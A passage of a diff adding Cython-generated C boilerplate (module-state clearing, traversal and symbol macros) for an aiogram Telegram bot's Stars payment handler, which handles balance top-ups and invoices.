+ Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_answer_invoice); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_delete); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_stars_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_t_me_PremiumBot); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_invoice_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_label); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_ok); + Py_CLEAR(clear_module_state->__pyx_n_s_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_n_s_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_prices); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_provider_token); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_u_stars); + Py_CLEAR(clear_module_state->__pyx_n_u_stars_2); + Py_CLEAR(clear_module_state->__pyx_n_u_stars_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_stars_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_successful_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_title); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__9); + Py_CLEAR(clear_module_state->__pyx_tuple__22); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__19); + Py_CLEAR(clear_module_state->__pyx_codeobj__23); + Py_CLEAR(clear_module_state->__pyx_codeobj__27); + Py_CLEAR(clear_module_state->__pyx_codeobj__28); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_LabeledPrice); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_PreCheckoutQuery); + Py_VISIT(traverse_module_state->__pyx_n_s_RUB_TO_XTR); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_STARS_ROUTER); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_n_u_XTR); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_n_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_n_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_n_s__38); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_answer_invoice); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_delete); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_stars_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_t_me_PremiumBot); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_invoice_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_label); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_ok); + Py_VISIT(traverse_module_state->__pyx_n_s_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_n_s_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_prices); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_provider_token); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_u_stars); + Py_VISIT(traverse_module_state->__pyx_n_u_stars_2); + Py_VISIT(traverse_module_state->__pyx_n_u_stars_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_stars_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_successful_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_title); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__9); + Py_VISIT(traverse_module_state->__pyx_tuple__22); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__19); + Py_VISIT(traverse_module_state->__pyx_codeobj__23); + Py_VISIT(traverse_module_state->__pyx_codeobj__27); + Py_VISIT(traverse_module_state->__pyx_codeobj__28); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment +#endif +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment +#define __pyx_kp_u_21U68SOLOBOT __pyx_mstate_global->__pyx_kp_u_21U68SOLOBOT +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_kp_u_CRYPTO_HASH __pyx_mstate_global->__pyx_kp_u_CRYPTO_HASH +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_LabeledPrice __pyx_mstate_global->__pyx_n_s_LabeledPrice +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_PreCheckoutQuery __pyx_mstate_global->__pyx_n_s_PreCheckoutQuery +#define __pyx_n_s_RUB_TO_XTR __pyx_mstate_global->__pyx_n_s_RUB_TO_XTR +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_STARS_ROUTER __pyx_mstate_global->__pyx_n_s_STARS_ROUTER +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_n_u_XTR __pyx_mstate_global->__pyx_n_u_XTR +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_n_u__13 __pyx_mstate_global->__pyx_n_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_n_u__29 __pyx_mstate_global->__pyx_n_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_n_s__38 __pyx_mstate_global->__pyx_n_s__38 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_answer_invoice __pyx_mstate_global->__pyx_n_s_answer_invoice +#define __pyx_n_s_args 